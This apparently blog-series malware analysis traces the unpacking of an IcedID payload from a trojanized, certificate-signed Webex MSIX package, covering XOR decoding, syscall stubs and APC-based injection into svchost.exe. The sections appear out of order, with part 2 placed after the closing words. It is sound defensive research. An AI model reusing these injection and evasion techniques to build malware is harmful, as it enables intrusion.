VirtualAlloc(NULL, 0xE27, 0x3000, 0x4);

Converting some of the inputs to their constants^{5 6} makes it a little easier to understand what is happening.

VirtualAlloc(NULL, 0xE27, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE); 

Here we can see at least 0xE27 (3623) bytes of memory is being requested, to be committed and reserved, with the page protection of Read and Write.

The value returned in the EAX register is going to be one to keep an eye on. This value is the address of an allocated region of memory. As this value changes from execution to execution I will refer to this as “memory region 1” throughout this post.

This allocated region of memory is then populated using the malware’s implementation of memcpy already covered (0x0814E378B26). The routine is called a total of 3 times, the total number of bytes copied matches the requested region size of 0xE27 (3623) bytes.

Each time, the source of the data is located in the .reloc section of the DLL.

The table below describes the source virtual address, the file physical offset, and number of bytes copied.

The file offset can be calculated using the source address seen in the debugger, minus the virtual address of the section (.reloc). Then identifying the physical address of the section within the PE file using the headers, and adding the difference back.

Using x64dbg’s memory map tab you can save this memory region to a file, you can find a copy of the file rundll32_memory_region_1.bin in the Github repository here.

Either using the offsets identified or by dumping the memory region, we can examine the data copied in more detail. Data mysteriously copied into un-backed memory region has potential to be shellcode.

We can test this theory by attempting to disassemble the bytes in using this radare2 one-liner.

Figure 5 shows the interpretation of the bytes as assembly. It appears to be junk as there is no obvious flow of execution present.

$ r2 -AA -c 'pd' rundll32_memory_region_1.bin

Figure 5: radare2 - Disassembly view of allocated memory region #1

It’s a good idea at this point to set an Access breakpoint on the memory region to see if there are any routines that may transform it in some way.

Executing the process again will break when the process attempts to access an address within the allocated region of memory.

The cause of this is an XOR operation at 0x0814E3784E8 as shown in Figure 6.

Figure 6: x64dbg - XOR operation memory region #1

The screenshot in Figure 6 above and in Figure 7 below show this XOR taking place both from a dynamic and static perspective.

Figure 7: radare2 - XOR operation memory region #1

The AL register in this case is the lower 8 bytes of the EAX register.

The register pane on the right in Figure 7 shows this to contain the value 0xD6.

The address the operation is being carried out on in this case is shows as ds:[rcx-1] which if we take a look at the value in the RCX register should contain the address of the second byte within memory region 1, the -1 them refers to the first byte of our mystery data.

If we step through the next few operations hitting the XOR instruction we eventually see the same 4 bytes rotating through the AL register: 0xD6B20700

This raises an interesting question, where are these bytes coming from and can locate them within the DLL file?

We know from observing the routine, that the bytes used for the XOR key is being set in the EAX (AL) register.

Within the screen shot shown in Figure 7 you may notice the operation at 0x0814E3784F3, also shown below.

movzx eax,byte ptr ds:[rax+rdi+2C] 

This is the operation setting the value of the EAX/AL register prior to the XOR operation. If we follow the address calculated at RAX + RDI + 2C in a dump we can see the 4 bytes at the address 0x0814E378BD4 or file offset 0x17FD4, as shown in Figure 8.

Figure 8: hxd - hexadecimal dump of potential configuration block

Shown in the GREEN box, is the XOR key. Also within short proximity, shown in BLUE there are the sizes (in little endian⁷) of the data transferred into the first allocated memory region.

Lastly within the RED box, there is a NULL terminated string of init. This could be a useful marker for what might turn out to be some kind of stored configuration.

If we allow the XOR routine to complete its rounds across the data, and repeat the steps from earlier to dump, and then attempt to show the disassembly it now prints some pretty convincing shellcode.

The file rundll32_memory_region_1_xor.bin can also be found in the GitHub repository here

$ r2 -AA -c 'pd' rundll32_memory_region_1_xor.bin

Figure 9: radare2 - Shell code disassembly

We can validate that the XOR key is correct by applying it to the memory dump file we created previously and comparing the output. Figure 10 shows the recipe required. You will notice the hexadecimal output matches the instruction bytes in the disassembly above, in Figure 9.

Figure 10: CyberChef - XOR routine.

If we remember the call to VirtualAlloc previously, the region was requested with PAGE_READWRITE protection, restricting the ability for execution. There are two possibilities for the shellcode now, the first is it will be executed in its current location or it will be copied somewhere else before executing.

Wherever the shellcode will be executed, the memory region will need its execute permission set. Just as VirtualAlloc was used to allocate the region, we can set a break point on VirtualProtect as shown below.

bp VirtualProtect

Sacrificial DLL Loading

Pressing on with the unpacking, there is a call to LoadLibraryA with the parameter to load the DLL dpx.dll from the default C:\Windows\System32 directory.

Loading the dpx.dll library is followed by locating an exported function named dpx.DpxCheckJobExists. Based on my loose understanding of how the function is located, I believe this is chosen simply because it is the first function listed in the exports. This technique would allow the malware authors to potentially swap the dpx.dll for another fairly easily…

The address returned from for dpx.DpxCheckJobExists is then passed to VirtualProtect⁸, executed via a call r15 instruction at 0x0814E3786BE.

The arguments passed to VirtualProtect can be arranged as shown.

This function call will mark 0x15BB (5563) bytes as PAGE_READWRITE starting at the address of dpx.DpxCheckJobExists.

VirtualProtect(dpx.CheckJobExists, 0x15BB, 0x4)

The original protection was PAGE_EXECUTE_READ, so the additional permission to allow writing is enough to know we likely want to keep an eye on this region.

Moving on, we hit a familiar breakpoint for the malware’s memcpy routine. This time, 0x15BB bytes are being moved from the address 0x0814E39342A once again located in the .reloc section, to the address of dpx.DpxCheckJobExists. The file offset for this data is 0x2A42A.

Rather interestingly the bytes representing the amount of data transferred 0x15BB are located in the output of Figure 8 underneath the 0x4A byte.

Extracting the 0x15BB bytes from the newly copied location, we can take a look and see what the original code for dpx.DpxCheckJobExists has been replaced with.

$ r2 -AA -c 'pd' rundll32_dpx_checkjobexists.bin

Figure 11: radare2 - Dpx.CheckJobExists overwritten data

It doesn’t look shellcode, so likelihood is there will be an additional routine to de-obfuscate it.

Through setting some access breakpoints you will stumble elegantly upon yet another routine with an XOR instruction located at 0x0814E3786E1. This routine iterates over the dpx.DpxCheckJobExists location using the string chokopai723 as a key for all 0x15BB bytes.

The string chokopai732 was passed into the process via the command line flag /k.

If we take a look at the dpx.DpxCheckJobExists contents shown in Figure 12, once the XOR has been applied we get something more resembling shellcode.

$ r2 -AA -c 'pd' rundll32_dpx_checkjobexists_xor.bin

Figure 12: radare2 - Dpx.DpxCheckJobExists shellcode

The sample then makes another call to VirtualProtect, restoring the page protection on dpx.DpxCheckJobExists back to PAGE_EXECUTE_READ.

Now the code is executable again, the sample executes the newly laid out shellcode by call rsi operation at 0x0814E378421. This can be intercepted by setting a breakpoint on the dpx.DpxCheckJobExists symbol.

Executing the shellcode located at dpx.DpxCheckJobExists, it uses an internal routine labelled below as mw_resolve_api_hash_location to locate the procedure addresses for 3 API’s. The use of API hashes to resolve routines is quite common in malware, as it makes it much harder to see what is being used.

The hash values are usually fairly static, although there a few different methods employed, “search engine-ing” the hexadecimal values is the first step.

Special thanks to this GitHub project by hidd3ncod3s for supplying the hashes and corresponding API routines.

From the following disassembly we can see 3 values being moved into ECX before the function mw_resolve_api_hash_location is used. The labels in the disassembly, show the methods being passed:

• NtCreateThreadEx (0x9a3c803e)
• RtlAllocateHeap (0x67cc0818)
• RtlFreeHeap (0xd45a1e1f)

Figure 13: radere2 - API hashes being resolved.

Once the API’s have been resolved, the routine RtlAllocateheap⁹ is called using the call rbx instruction, and 0x335B (13147) bytes are requested.

Figure 14: x64dbg - RtlAllocate 0x335b Bytes

Once the region is allocated, the shellcode then accesses its own processes Process Envonrment Block aka the PEB, to retrieve the full command line given.

Figure 15: x64dbg - Command line copied from Process Environment Block

Probably not surprisingly, this second shellcode also implements a memcpy routine, as shown in Figure 16.

It is first used to copy 0x1EAD (7853) bytes from 0x0814E39580C (file offset 0x2C80C within the .reloc section) to a heap allocated region. Figure 8 above contains the value 0x1EAD within the configuration block at offset 0x17FD0.

For future reference, the screen shot below shows the destination address in the RCX register as 0x023D5D94A0B0.

Figure 16: radare2 - DPX.dll shellcode memory routine.

Extracting the data that was just copied reveals not too much, and you might be able to spot a familiar pattern occurring.

Shellcode Patching

Moving on to the next call of the memcpy routine, the sample copies 0xC4E (3150) bytes from the very first allocated memory region to the tail of the data written into the heap region previously described.

This second chunk of data being copied was originally transferred from 0x0814E394BBE (file offset 0x2BBBE) into memory region 1, where is was then de-obfuscated.

The data copied into this heap region becomes very relevant later on. At this stage there is some missing information so don’t dump the memory region just yet. To clarify, the first chunk is obfuscated in some way, the second chunk is valid shellcode.

The next call the memcpy routine is used to copy a more 4 bytes containing the value 0x5B330000 into a location within the first allocated memory region. If we swap the endianness of 0x5B330000 we get 0x335B, matching the size of a previously copied segment of shellcode… very interesting…

Next, the shellcode’s routine for locating a procedure based on its hash is used to locate CreateThread. This location is then used to patch the shellcode that was written into the first region of allocated memory, using the memcpy routine.

Figure 17 shows the start of the memcpy routine with the shellcode to be patched in the lower pane. Currently, the 8 bytes to be patched contains 0xA1A2A3A4A5

Figure 17: x64dbg - Shell code patching routine, before patch.

Figure 18 shows the shellcode after being patched, containing the address of CreateThread ready for it to be copied into RAX and then called.

Figure 18: x64dbg - Shell code patching routine, after patch.

The same process of locating a function, and then patching shellcode is also carried out for additional functions.

The complete list of functions resolved and patched is:

• CreateThread
• LoadLibraryA
• ReadProcessMemory
• VirtualProtect
• RtlAllocateHeap
• NtClose
• ZwCreateThreadEx

Next comes a routine that appears (at least to me), to parse the ntdll.dll module for the various syscall operations.

Continuing the execution again we hit another call to the memcpy routine, this time copying 0xB (11) bytes from a stack based address into a location within the first allocated memory region.

4C 8B D1 B8 00 00 00 00 0F 05 C3 

At first glance the purpose of the byte sequence is not obvious, it’s certainly not an address as previously observed. If you continue to view the disassembler during the memcpy routine, you would have seen a patch applied to call a syscall directly.

We can quickly check the above hexadecimal opcodes using the CyberChef¹⁰ recipe to Disasemble X86 or use the following rasm2 command.

$ rasm2 -a x86 -b 64 -d '4C 8B D1 B8 00 00 00 00 0F 05 C3'

mov r10, rcx
mov eax, 0
syscall
ret

This syscall related activity has a lot of similarities with what is described here over at www.ired.team

Once the syscalls stubs have been copied over, the function ZwAllocateVirtualMemory, is then used to request 0x3841 (14401) bytes of memory with the protection constant PAGE_WRITECOPY, this region will be labelled and hence forth known as memory region 2.

Figure 19 shows the call to ZwAllocateVirtualMemory being made. The registers RDX and R8 are being used to provide the address and protection flags. As can be seen in the display, RCX contains the location of memory, which contains the location in memory that is being altered….aka a pointer.

The address being altered here is stored in little-endian, and is 0x29E3E670000 as shown in the lower dump 2 pane.

Figure 19: x64dbg - ZwProtectVirtualMemory from R13 register

After building the syscall routines and patching the shellcode in memory region 1, more API’s are resolved.

• NtOpenProcess
• NtClose
• RtlFreeHeap

The malware went to a lot of trouble to generate the syscall stubs, it finally begins to use them starting with a call via the RSI register.

Setting an execution breakpoint on the region of memory containing the syscall stubs will allow you to step through the next procedure.

Figure 20 shows the call via the RSI register, with a value of 0x5 being passed in on the RCX register. In the disassembly view in the bottom pane, you can see the syscall ID being loaded into RAX, the value 0x36 resolves to NtQuerySystemInformation¹¹

Taking a look at the documentation for NtQuerySystemInformation here provided by Geoff Chappell, the value 0x5 is the constant for SystemProcessInformation. This is being used to generate a process listings, more details can be found here

Figure 20: x64dbg - NtQuerySystemInformation native syscall

Once the PID for explorer.exe is located, it is passed to the NtOpenProcess syscall. Opening the rundll32.exe process in ProcessHacker we can see the handle to explorer.exe has been opened, as shown in Figure 21.

Figure 21: ProcessHacker - Handle to explorer process opened.

The handle on explorer.exe is then used by a call to NtOpenProcessToken. The returned handle for the token is passed to NtQueryInformationToken before being closed with NtClose.

The syscall NtSystemQueryInformation is then used as it was previously to generate a list of processes running on the system.

A series of calls to NtOpenProcess is then issued against all svchost.exe processes until one can be successfully opened. As the process is running in a non-privileged context, calls to svchost.exe processes running as NT AUTHORITY\SYSTEM are responded to with an access denied value in EAX as shown in Figure 22

Figure 22: x64dbg - NtOpenProcess Access Denied.

Note: The sihost.exe process is also attempted if the svchost.exe process list becomes exhausted.

Once a handle to an svchost.exe process is opened, the token information is harvested using NtOpenProcessToken and NtQueryInformationToken.

To determine if the target svchost.exe process is the correct architecture, NtQueryInformationProcess is used to check the ProcessWow64Information details.

For each thread on the svchost.exe process the following routines are called:

• NtOpenThread
• NtCreateEvent
• NtDuplicateObject
• NtQueueApcThread
• SetEvent

Once each thread has been setup, there is a call to NtQuerySystemTime.

The shellcode residing in memory region 1, is further patched with the value 0xB18 forming the first argument to ReadProcessMemory as shown in Figure 23.

Figure 23: x64dbg - Length value being patched in shellcode

Using the handle to svchost.exe, the rundll32.exe process makes a call to NtVirtualProtect targeting the address of WinHelpW from user32.dll.

Looking at the R9 register in Figure 24 you can see the value 0x40, which corresponds to the memory protection constant PAGE_EXECUTE_READWRITE.

Figure 24: x64dbg - NtVirtualProtect WinHelpW

Payload Transfer

The rundll32.exe process then calls NtCreateSection to create a section within the svchost.exe process. This section is then mapped into view of the rundll32.exe process using NtMapViewOfSection.

With the section accessible to the rundll32.exe process, the memcpy implementation is called twice. The first transfer copies 0x4A bytes, and the second transfers 0x18F bytes from the first memory region.

You’ll notice the byte sizes align with the blocks of data transferred from the .reloc section into “memory region 1”, which has been decoded and subsequently patched.

The original bytes from both WinHelpW (0x4A) and WinHelpA (0x18F) are copied into a location of memory, possibly for restoring later.

Once data has been written by the rundll32.exe process, NtUnMapviewofSection is called on the section.

Using the handle to the svchost.exe process, the section is mapped into memory using NtMapViewOfSection.

Now comes a really interesting process, to avoid using heavily monitored API’s the rundll32.exe process such as WriteProcessMemory.

The rundll32.exe processes calls the NtQueueApcThread routine to schedule an execution of RtlCopyMemory within the svchost.exe process. The source parameter is the location of the mapped memory region of the shared section, the destination parameter contains the address of the WinHelpW routine within user32.dll.

Thus when the queued APC routine executes, the WinHelpW routine will be replaced with shellcode.

The setup for this can be seen in Figure 25 below.

Figure 25: x64dbg - WinHelpW execution after NtDelayExecution

The same technique is then used to copy data from the mapped section, to overwrite the WinHelpA routine. The shellcode at WinHelpW is then scheduled to execute using the NtQueueApcThread routine as well as Sleep and a call to NtDelayExecution.

Both the WinHelpW and WinHelpA locations have their memory protection restored back to PAGE_EXECUTE_READ using NtVirtualProtectMemory, and the section becomes unmapped in the svchost.exe process with a call to NtUnMapviewofSection.

Execution from this point will continue from within the perspective of the svchost.exe process.

Setting a breakpoint on the WinHelpW routine, we can examine this further.

Executing WinHelpW Shellcode

$ r2 -AA -c 'pdf' svchost_user32_injected.bin

Figure 26: radare2 - svchost.exe User32.dll WinHelpW Shellcode

Calls to OpenProcess on the rundll32.exe process. Then ReadProcessMemory from the rundll32.exe process, the heap allocated data previously described.

Figure 27: x64dbg - ReadProcessMemory called from svchost.exe

As you can see from the screen shot in Figure 28, some of the data copied may contain a similar configuration block identified with the init keyword. Further down into the bytes you may also spot the bytes 0xD6, 0xB2, 0x07 and 0x00 which was the XOR key used within the rundll32.exe unpacking staged.

Figure 28: x64dbg - svchost.exe init configuration block

Taking a look at the shellcode that was placed at WinHelpA statically in Figure 29, we can see it contains the string dpx.dll and will call LoadLibraryA to load it.

It then calls VirtualProtect on the routine DpxCheckJobExists to allow a byte copying routine to overwrite its contents, replicating the behaviour from earlier in the unpacking routine.

$ r2 -AA -c 's 0xe2; pd 40' svchost_user32_injected.bin

Figure 29: radare2 - LoadLibraryA dpx.dll and overwrite DpxCheckJobExists

If you are viewing this dynamically then, you will observe 0xC4E (3150) bytes from the second chunk of data copied from the rundll32.exe process into dpx.DpxCheckJobExists routine.

A call to CreateThread is then issued with a base address of dpx.DpxCheckJobExists

The shellcode located at dpx.DpxCheckJobExists then kicks of a routine to XOR decode some of the remaining data originally sourced from rundll32.exe.

Payload Decrypting

In Figure 30 below we can see the static disassembly output of the XOR routine used.

$ r2 -AA -c 's 0x57; pd 72' svchost_dpx_dpxcheckjobexists.bin

Figure 30: radare2 - XOR Routine

This routine is used to reveal the FINAL PE file payload in its original memory buffer copied over from rundll32.exe, as shown in Figure 31 there is an MZ header and DOS stub visible.

Figure 31: x64dbg - Decoded DOS stub header

As well as the executable file, there also resides some configuration data that is used to allow shellcode to map the PE into the address space.

Value 0x3400 taken from payload structure and passed to RtlAllocateHeap The PE file is the seemingly copied into this allocated memory region.

Figure 32: x64dbg - MZ header being copied into allocated Heap region

Pausing the debugger here, will allow you to extract the executable file before it gets mapped into memory.

As the shellcode within the dpx.DpxCheckJobExists area executes, it calls VirtualAlloc with a base region of 0x0180000000, a size of 0x3000 (12288) bytes and a page protection flag of 0x40 (PAGE_EXECUTE_READWRITE).

Figure 33: x64dbg - VirtualAlloc hardcoded 0x0180000000

Once this very specific location of memory is allocated the PE file is mapped into execute, the process for this is well documented elsewhere.

Once mapped, execution is started using a call to CreateThread using the 0x01800028D4 address as the entry point.

Figure 34: x64dbg - CreateThread hardcoded 0x0180000000

Unpacked Payload

Now we have jumped through the many hoops to unpack the final payload, we can validate the contents by loading it into PE-Bear¹².

As you can see from Figure 35, the binary lists some imports from the WINHTTP.dll that look like might be worthy some additional analysis.

You can find a copy of the file svchost_icedid_unpacked.bin in the GitHub repository for this blog post here, or on the malware Bazaar here.

Figure 35: PE Bear - Unpacked icedid payload from svchost.exe

Final Words

That’s it for this blog post, its been quite in depth and low-level. If you want to understand anything covered, or maybe not covered in this post feel free to reach out.

I’m planning to do a part 4 taking a look into the extracted PE file so keep an eye out for that, and in the meantime keep evolving.

@techevo_

References

This post is part 2 in the mini-series, if you would like to follow along from the beginning you can find part 1 here

During this post I’m going to assume we’ve identified the infected machines based on the PCAP data we analysed and using a bit of prior knowledge walk through the first two stages of the infection routine.

The data for this case was published by @malware_traffic over at Malware Traffic Analysis¹. You can download all the samples from this case from here

This walk-through also has a dedicated GitHub repository which can be found here, which will store various outputs of interest so it should be possible to follow along.

During the investigation of the infected endpoint, one of the more common artefacts to examine is the Windows Event Logs. Whilst many events can be harvested from the events logs, the PowerShell/Operational log can be a very fruitful starting point.

If you’re not familiar with these event logs, you can enable them using the following two PowerShell commands.

New-Item -Path "HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Force
Set-ItemProperty -Path "HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1 -Force

There are a number of ways to interrogate Windows Event logs, firstly using the native Windows Event Viewer application.

Secondly if you need to query multiple remote systems, you may use Velociraptor² from Rapid7 using the Windows.EventLogs.Evtx artefact.

For this short walk-through we’ll use the native event viewer method. Within the event viewer we can navigate to the following location, and filter for event code 4104.

Applications and Services Logs > Microsoft > Windows > PowerShell > Operational.

Navigating through the various events we stumble across the script block shown in Figure 1.

Figure 1: PowerShell script block event

If you wish to view this raw event, you can find a copy within an EVTX file located in the GitHub repository, here.

From a cursory inspection of the PowerShell code, we can see a familiar domain identified from part 1, namely 9sta9rt4[.]store

Another point of interest is the Path field. This provides the on disk location of the script. In this case the script is called NEW_User0_v2.ps1, located under a path related to a Cisco Webex application.

Because the path is prefixed with C:\Program Files\WindowsApps this is a indication that this package was launched via an MSIX^{3 4} installer.

We now have some information regarding a potential Infection Vector (IV), which we can pivot off into a large data set.

One such next step may include looking for recent file creations of .msix files.

Alternatively If you have the ability to query many systems event logs, you can hunt for installed MSIX packages using the log file at the below location.

Application and Service Logs > Microsoft > Windows > AppXDeployment-Server > Operational

Within this log, event code 854 contains the path to the installed MSIX package, as shown in Figure 2.

Figure 2: MSIX Package installation log

There are many events generated within this log from installation process, you can download the raw log events from the GitHub repository here which you may find interesting.

Before we jump into the PowerShell code, lets take a look at the Webex-64.msix file identified from the event logs.

You can find a copy of the Webex-x64.msix file in the bundle supplied by @malware_traffic linked at the top of this post, or from the malware Bazaar here

MSIX Installer

Whenever you’re dealing with installation files, a decent first step is to verify its origins. If you have access to the NTFS file system, you may also find an Alternate Data Stream (ADS) named Zone.Identifier⁵.

As I did not have access to the original infected system, we can test this theory out by downloading a legitimate MSIX package and viewing the Zone.Identifier stream using the following command.

PS C:\Users\malware\Downloads> Get-Content .\MSTeams-x64.msix -Stream Zone.identifier

[ZoneTransfer]
ZoneId=3
ReferrerUrl=https://www.microsoft.com/
HostUrl=https://statics.teams.cdn.office.net/production-windows-x64/enterprise/webview2/lkg/MSTeams-x64.msix

As you can see this MSTeams-x64.msix came from a legitimate source. Phew.

Using Sigcheck⁶ from the SysInternals suite, we can print out its hashes and signing information.

Using the command shown below, we can see this file was signed by a company called IMPERIOUS TECHNOLOGIES LIMITED, which does not quite align with what I would have expected.

C:\Users\malware\Desktop\Sigcheck>sigcheck.exe -h ..\Webex-x64.msix

Sigcheck v2.90 - File version and signature viewer
Copyright (C) 2004-2022 Mark Russinovich
Sysinternals - www.sysinternals.com

C:\Users\malware\Desktop\Webex-x64.msix:
        Verified:       Signed
        Signing date:   15:47 07/08/2023
        Publisher:      IMPERIOUS TECHNOLOGIES LIMITED
        Company:        n/a
        Description:    n/a
        Product:        n/a
        Prod version:   n/a
        File version:   n/a
        MachineType:    n/a
        MD5:    814786AA53D93C7FC4917BC713DE7B2B
        SHA1:   BA4EAB30A4DCFEB0704F4BEB5442F325A2F76900
        PESHA1: BA4EAB30A4DCFEB0704F4BEB5442F325A2F76900
        PE256:  B44857BA393EE929625A2328DED86D1C6D3D63119FB16952C35D35A9711121F4
        SHA256: B44857BA393EE929625A2328DED86D1C6D3D63119FB16952C35D35A9711121F4
        IMP:    n/a

If we perform the same command against a Cisco Webex installer file downloaded from the Cisco website, we can see it is signed by Cisco Systems, Inc as expected.

C:\Users\malware\Desktop\Sigcheck>sigcheck.exe -h ..\Webex.msi

Sigcheck v2.90 - File version and signature viewer
Copyright (C) 2004-2022 Mark Russinovich
Sysinternals - www.sysinternals.com

C:\Users\malware\Desktop\Webex.msi:
        Verified:       Signed
        Signing date:   01:51 07/12/2023
        Publisher:      Cisco Systems, Inc.
        Company:        n/a
        Description:    n/a
        Product:        n/a
        Prod version:   n/a
        File version:   n/a
        MachineType:    n/a
        MD5:    CB76EFA69C2659A304DF1A156BA75188
        SHA1:   0237F3CFA05E7CDC99C2CC9AD5993B55C4566F83
        PESHA1: 0237F3CFA05E7CDC99C2CC9AD5993B55C4566F83
        PE256:  E7991F58C26141D7660902BB7BE843BB5CF730F8D7AE8F0D89E79F740719E77C
        SHA256: E7991F58C26141D7660902BB7BE843BB5CF730F8D7AE8F0D89E79F740719E77C
        IMP:    n/a

Also worth noting down is the different packaging mechanisms, MSI vs MSIX.

Could the MSI have been repackaged with some additional files? Short answer: Yes.

Longer answer: Yes, and most likely using stolen signing key.

To look into the signing information in more detail we need to extract the certificate. The easiest way to do this is to right click on the MSIX file, navigate to the Digital Signatures tab and View Certificate, and loosely shown in Figure 3.

Next click the Copy to File and choose the option: Base-64 encoded X.509 (CER).

Figure 3: Export certificate

Now if you load that certificate into CyberChef⁷, and bake it using the Parse X.509 certificate recipe as shown in Figure 4, we can see the certificate details in greater detail.

Figure 4: Convert certificate in CyberChef

Below shows the full output of the certificate (minus some truncated sections).

The primary fields to pay attention to are the Validity and Subject. Here we can see that this certificate was only valid for 1 year thankfully reducing the lifetime it can be abused. We can also see the original owner of the signing key. As these samples are well over 6 months old now, there is likely not much we can do.

Version:          3 (0x02)
Serial number:    78046918682732812322814242565977865731 (0x3ab74a2ebf93447adb83554b5564fe03)
Algorithm ID:     SHA256withRSA
Validity
  Not Before:     19/05/2023 15:32:29 (dd-mm-yyyy hh:mm:ss) (230519153229Z)
  Not After:      17/05/2024 15:32:29 (dd-mm-yyyy hh:mm:ss) (240517153229Z)
Issuer
  C  = US
  ST = Texas
  L  = Houston
  O  = SSL Corp
  CN = SSL.com Code Signing Intermediate CA RSA R1
Subject
  C  = GB
  L  = Ringwood
  O  = IMPERIOUS TECHNOLOGIES LIMITED
  CN = IMPERIOUS TECHNOLOGIES LIMITED
Public Key
  Algorithm:      RSA
  Length:         4096 bits
  Modulus:        a5:06:b1:fc:26:d9:88:9a:15:8d:78:38:0c:e7:48:3d:
                  f0:13:46:58:06:65:f6:2c:53:9f:b6:d1:ee:6a:96:95:
                  8b:d9:49:4e:e6:96:1d:15:e9:b7:3f:8a:74:bf:b7:61
                  [ TRUNCATED ]
  Exponent:       65537 (0x10001)
Certificate Signature
  Algorithm:      SHA256withRSA
  Signature:      52:4b:31:c7:4f:bf:b1:1b:24:85:70:fc:e5:b0:64:47:
                  11:bf:9b:14:61:47:8c:df:a0:3c:4b:4c:d2:d3:c7:c1:
                  d0:31:ce:41:fe:22:60:94:11:02:7a:83:e8:13:fe:98
                  [ TRUNCATED ]

Extensions
  basicConstraints CRITICAL:
    {}
  authorityKeyIdentifier :
    kid=54c2fe10950093cd6af5e7c0d7d9b24bb88f0ce3
  authorityInfoAccess :
    caissuer: http://cert.ssl.com/SSLcom-SubCA-CodeSigning-RSA-4096-R1.cer
  certificatePolicies :
    policy oid: 2.23.140.1.4.1
    policy oid: 1.3.6.1.4.1.38064.1.3.3.1
    cps: https://www.ssl.com/repository
  extKeyUsage :
    codeSigning
  cRLDistributionPoints :
    http://crls.ssl.com/SSLcom-SubCA-CodeSigning-RSA-4096-R1.crl
  subjectKeyIdentifier :
    8975295d2b01bfef939cf9948780b79c33ac8680
  keyUsage CRITICAL:
    digitalSignature

So far we’ve managed to work out something doesn’t quite add up regarding the file type and signing information.

Let’s dig a little more into the metadata of the msix file using the exiftool Linux utility.

$ exiftool Webex-x64.msix 

ExifTool Version Number         : 11.88
File Name                       : Webex-x64.msix
Directory                       : .
File Size                       : 31 MB
File Modification Date/Time     : 2023:08:09 15:23:11+01:00
File Access Date/Time           : 2023:12:17 21:44:34+00:00
File Inode Change Date/Time     : 2023:10:09 19:51:21+01:00
File Permissions                : rw-r--r--
File Type                       : ZIP
File Type Extension             : zip
MIME Type                       : application/zip
Zip Required Version            : 45
Zip Bit Flag                    : 0x000e
Zip Compression                 : Deflated
Zip Modify Date                 : 2023:08:07 15:50:08
Zip CRC                         : 0xa11056fb
Zip Compressed Size             : 1792
Zip Uncompressed Size           : 12288
Zip File Name                   : Registry.dat
Warning                         : [minor] Use the Duplicates option to extract tags for all 72 files

It turns out msix files are ZIP files.

Using the unzip Linux utility we can generate a file listing of the MSIX file with the file modified. The below is truncated to highlight a few select files we’ll be discussing next.

$ unzip -l Webex-x64.msix 

Archive:  Webex-x64.msix
  Length      Date    Time    Name
---------  ---------- -----   ----
    12288  2023-08-07 15:50   Registry.dat
  1434992  2023-08-07 15:50   Webex.exe
     1345  2023-08-07 15:48   NEW_User0_v2.ps1
      361  2023-08-07 15:50   config.json
   448928  2023-08-07 15:50   PsfRuntime64.dll
   359840  2022-12-14 13:00   PsfRuntime32.dll
   103840  2022-12-14 13:01   PsfRunDll64.exe
    84896  2022-12-14 13:00   PsfRunDll32.exe

    [ TRUNCATED ]

---------                     -------
 32983707                     72 files

One thing to notice immediately is the file NEW_User0_v2.ps1, as previously identified in the PowerShell script block logs. The file listing also includes all of the files that had similar timestamps (2023-08-07), which could indicate they were added to the Zip archive along side the PowerShell script.

Simply extract the files using the Linux unzip utility.

$ unzip Webex-x64.msix

Starting at the top we see the Registry.dat file. The MSIX installation packages allow applications to isolate their registry integration away from the more traditional hives on the system using a feature called Flexible Virtualisation⁸.

You can find out more about how the MSIX packaging system uses the registry here

The file is fairly small so we can interrogate it using the reglookup command as shown.

$ reglookup Registry.dat

PATH,TYPE,VALUE,MTIME
WARN: File header indicated root key at location 0x00001020, but no root key found. Searching rest of file...
/,KEY,,2023-08-07 15:50:07
/REGISTRY,KEY,,2023-08-07 15:50:07
/REGISTRY/MACHINE,KEY,,2023-08-07 15:50:07
/REGISTRY/MACHINE/Software,KEY,,2023-08-07 15:50:07
/REGISTRY/MACHINE/Software/Caphyon,KEY,,2023-08-07 15:50:07
/REGISTRY/MACHINE/Software/Caphyon/Advanced Installer,KEY,,2023-08-07 15:50:07

You can view the entire output of the above command here, and what you will see is largely expected. The registry hive contains all the various settings that allow the package to be installed, such as path to icons and shortcut files.

What is interesting, is the string Caphyon/Advanced Installer.

A little bit of searchengine-ing and this software allows repackaging of software installations into MSIX format. Very handy indeed if you are looking to trojanize a legitimate software package…

Looking through the Advanced Installer documentation^{9 10}, it details attaching and configuring a PowerShell script to be triggered at installation. It looks like there are plenty of other options available, and a 30 day trial. Something to look into further most likely.

The next file we come to is a Webex.exe file. If we take a peek at the signing information using the osslsigncode command, we can see the digital signature at least says it was signed by Cisco. I couldn’t get any tool to verify this signature.

$ osslsigncode verify -in Webex.exe 

Current PE checksum   : 00165D9B
Calculated PE checksum: 0016599B     MISMATCH!!!!

Message digest algorithm  : SHA256
Current message digest    : C97D99B6ABDF24C5DA3402A4E6A958207F8B74CC61D2811A1ACCBBA51D76C369
Calculated message digest : AB5DB69AC4171CC6AD5DF30817AFEBB23785BE0C94A58D8D692614F1513CE994    MISMATCH!!!

Signature verification: ok

Number of signers: 1
	Signer #0:
		Subject: /C=US/ST=California/L=San Jose/O=Cisco Systems, Inc./CN=Cisco Systems, Inc.
		Issuer : /C=US/O=DigiCert, Inc./CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1
		Serial : 06B4FC6C07254274ABFBA95F88F8AC0E

Number of certificates: 2
	Cert #0:
		Subject: /C=US/O=DigiCert, Inc./CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1
		Issuer : /C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert Trusted Root G4
		Serial : 08AD40B260D29C4C9F5ECDA9BD93AED9
	------------------
	Cert #1:
		Subject: /C=US/ST=California/L=San Jose/O=Cisco Systems, Inc./CN=Cisco Systems, Inc.
		Issuer : /C=US/O=DigiCert, Inc./CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1
		Serial : 06B4FC6C07254274ABFBA95F88F8AC0E

Failed

The SHA1 hash value f32c4d0511a9c9418b049f5937e5b2e73638360e also appeared to flag several detections on VirusTotal¹¹.

Next we’re going to skip to the file PsfRuntime64.dll

Although there is a PsfRuntime32.dll, this timestamp aligned more with files currently deemed as highly suspicious on our investigation.

To find out more about the DLL file, we can issue a one-liner radare2 command to output some binary information.

As the output is fairly detailed, I’ve removed some of the less interesting details, you can find the full output here

$ r2 -c i  PsfRuntime64.dll

file     PsfRuntime64.dll
format   pe64
type     DLL (Dynamic Link Library)
arch     x86
baddr    0x180000000
binsz    448928
bintype  pe
bits     64
class    PE32+
